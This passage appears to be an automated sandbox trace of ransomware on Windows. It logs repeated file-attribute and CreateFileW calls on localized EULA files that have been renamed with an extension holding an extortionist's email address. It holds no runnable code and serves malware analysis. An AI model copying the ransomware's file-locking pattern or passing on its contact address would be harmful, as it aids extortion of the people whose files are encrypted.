"c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.684] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.684] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.684] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055360) returned 1 [0171.684] RtlExitUserThread (Status=0x0) Thread: id = 2043 os_tid = 0x10d4 [0171.685] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.686] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.686] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.686] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30556f8) returned 1 [0171.686] RtlExitUserThread (Status=0x0) Thread: id = 2044 os_tid = 0x10d8 [0171.690] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.690] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.691] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.691] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055418) returned 1 [0171.691] RtlExitUserThread (Status=0x0) Thread: id = 2045 os_tid = 0x10dc [0171.692] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.692] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.692] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.692] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30557b0) returned 1 [0171.693] RtlExitUserThread (Status=0x0) Thread: id = 2046 os_tid = 0x10e0 [0171.694] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.694] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.694] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.694] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30566c8) returned 1 [0171.695] RtlExitUserThread (Status=0x0) Thread: id = 2047 os_tid = 0x10e4 [0171.696] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.696] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.696] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.696] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055920) returned 1 [0171.696] RtlExitUserThread (Status=0x0) Thread: id = 2048 os_tid = 0x10e8 [0171.697] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.699] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.699] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.699] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056838) returned 1 [0171.699] RtlExitUserThread (Status=0x0) Thread: id = 2049 os_tid = 0x10ec [0171.700] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.701] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.701] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.701] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30561c0) returned 1 [0171.701] RtlExitUserThread (Status=0x0) Thread: id = 2050 os_tid = 0x10f0 [0171.702] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.703] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.703] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.703] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.703] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055640) returned 1 [0171.703] RtlExitUserThread (Status=0x0) Thread: id = 2051 os_tid = 0x10f4 [0171.704] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.704] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.704] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.704] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055a90) returned 1 [0171.705] RtlExitUserThread (Status=0x0) Thread: id = 2052 os_tid = 0x10f8 [0171.706] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.706] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.706] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.706] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055b48) returned 1 [0171.706] RtlExitUserThread (Status=0x0) Thread: id = 2053 os_tid = 0x10fc [0171.707] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.707] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.707] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.708] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056610) returned 1 [0171.708] RtlExitUserThread (Status=0x0) Thread: id = 2054 os_tid = 0x1100 [0171.709] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.709] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.709] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.710] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30559d8) returned 1 [0171.710] RtlExitUserThread (Status=0x0) Thread: id = 2055 os_tid = 0x1104 [0171.711] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.711] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.711] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.711] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30568f0) returned 1 [0171.711] RtlExitUserThread (Status=0x0) Thread: id = 2056 os_tid = 0x1108 [0171.712] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.712] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.713] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.713] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055c00) returned 1 [0171.713] RtlExitUserThread (Status=0x0) Thread: id = 2057 os_tid = 0x110c [0171.714] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.714] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.714] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.714] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30569a8) returned 1 [0171.714] RtlExitUserThread (Status=0x0) Thread: id = 2058 os_tid = 0x1110 [0171.715] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.716] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.716] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.716] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30554d0) returned 1 [0171.716] RtlExitUserThread (Status=0x0) Thread: id = 2059 os_tid = 0x1114 [0171.717] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.718] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.718] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.718] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055cb8) returned 1 [0171.718] RtlExitUserThread (Status=0x0) Thread: id = 2060 os_tid = 0x1118 [0171.719] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.719] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.719] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.720] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.720] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055d70) returned 1 [0171.720] RtlExitUserThread (Status=0x0) Thread: id = 2061 os_tid = 0x111c [0171.721] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.721] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.721] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.721] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055f98) returned 1 [0171.721] RtlExitUserThread (Status=0x0) Thread: id = 2062 os_tid = 0x1120 [0171.722] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.770] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.770] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.770] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055e28) returned 1 [0172.770] RtlExitUserThread (Status=0x0) Thread: id = 2063 os_tid = 0x1124 [0172.771] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.771] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.771] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.771] SetFileAttributesW 